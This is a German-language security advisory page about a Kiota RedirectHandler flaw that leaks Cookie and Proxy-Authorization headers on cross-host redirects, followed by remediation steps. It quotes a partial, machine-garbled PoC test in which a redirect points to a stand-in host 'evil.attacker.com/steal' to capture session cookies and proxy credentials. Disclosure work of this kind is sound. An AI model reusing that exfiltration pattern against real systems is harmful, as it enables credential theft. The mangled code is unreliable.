Zum Inhalt springen
← Zurück zum Cyberlagebild
Zuletzt aktualisiert 19.08.2026 19:28

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

CVSS –1 Quelle

Beschreibung

Die RedirectHandler-Middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) und anderen Kiota-Bibliotheken kann sensible HTTP-Header nicht entfernen, wenn sie 3xx-Weiterleitungen zu einem anderen Host oder Schema ausführen. Diese Sicherheitsanfälligkeit ist in den RedirectHandlern vorhanden für: https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go ### Details Nur der Autorisierungs-Header wird entfernt; Cookie, Proxy-Authorization und alle benutzerdefinierten Header werden an das Redirect-Ziel weitergeleitet. Dies ist die Standard-Middleware in jedem kiota-java HTTP-Client, der über KiotaClientFactory.create() erstellt wurde. OkHttps eingebauter Redirect-Handler (der dies korrekt behandelt) wird in Zeile 63 von KiotaClientFactory explizit deaktiviert. Java für kiotas gebrochene umsetzung. Anfälliger Code in RedirectHandler.java Zeilen 107-116 (getRedirect-Methode) in Versionen 1.90 und früher: `` boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme()); boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host()toString()); if (!sameScheme || !sameHost) {questBuilder.removeHeader("Authorization"); // BUG: Cookie, Proxy-Authorization und alle anderen Header werden NICHT entfernt } ``### PoC 1. Klonen Sie das Repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java 2. Erstellen Sie die PoC-Testdatei unter: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java Mit diesem Inhalt: `` Paket com.microsoft.kiota.http.middleware; import static org.junit.jupiter.api.Assertions.*; import com.microsoft.kiota.http.KiotaClientFactory; import okhttp3.*; import okhttp3.mockwebserver.*; import org.junit.jupiter.api. Test); Public Class SecurityPoC {@Test void crossHostRedirectLeaksCookies() wirft Ausnahme {Request original = new Request.Builder() .url("http://trusted.example.com/api") .addHeader("Authorization", "Bearer token") .addHeader("Cookie", "session=SECRET") .addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==") .addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==") .addHeader("Proxy-Authorization")); Response redirect = new Response.Builder()protocol(Protocol.HTTP 1 1) .code(302).message("Found") .header("Location", "http://evil.attacker.com/steal")

HerstellerMicrosoft
Produktcom.microsoft.kiota:microsoft-kiota-abstractions, Microsoft.Kiota.Abstractions, microsoft-kiota-http, kiota-typescript, github.com/microsoft/kiota-http-go
Produktfamiliemaven
Betroffene Versionen< 1.9.1, < 1.22.0, < 1.9.9, < 1.0.0-preview.100, < 1.5.5
Behobene Versionen1.9.1, 1.22.0, 1.9.9, 1.0.0-preview.100, 1.5.5

Quellen & weiterführende Informationen

Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.

Was ist zur Behebung zu tun?

Auf eine behobene Version aktualisieren: 1.9.1, 1.22.0, 1.9.9, 1.0.0-preview.100, 1.5.5.

PrioritätGelb
EinordnungZeitnah behandeln: hohes technisches Risiko.

Empfohlene Schritte

  • Betroffene Systeme identifizieren: Microsoft com.microsoft.kiota:microsoft-kiota-abstractions, Microsoft.Kiota.Abstractions, microsoft-kiota-http, kiota-typescript, github.com/microsoft/kiota-http-go.
  • Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
  • Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
  • Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.

Übergangsmaßnahmen

  • Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
  • WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
  • Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
  • Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.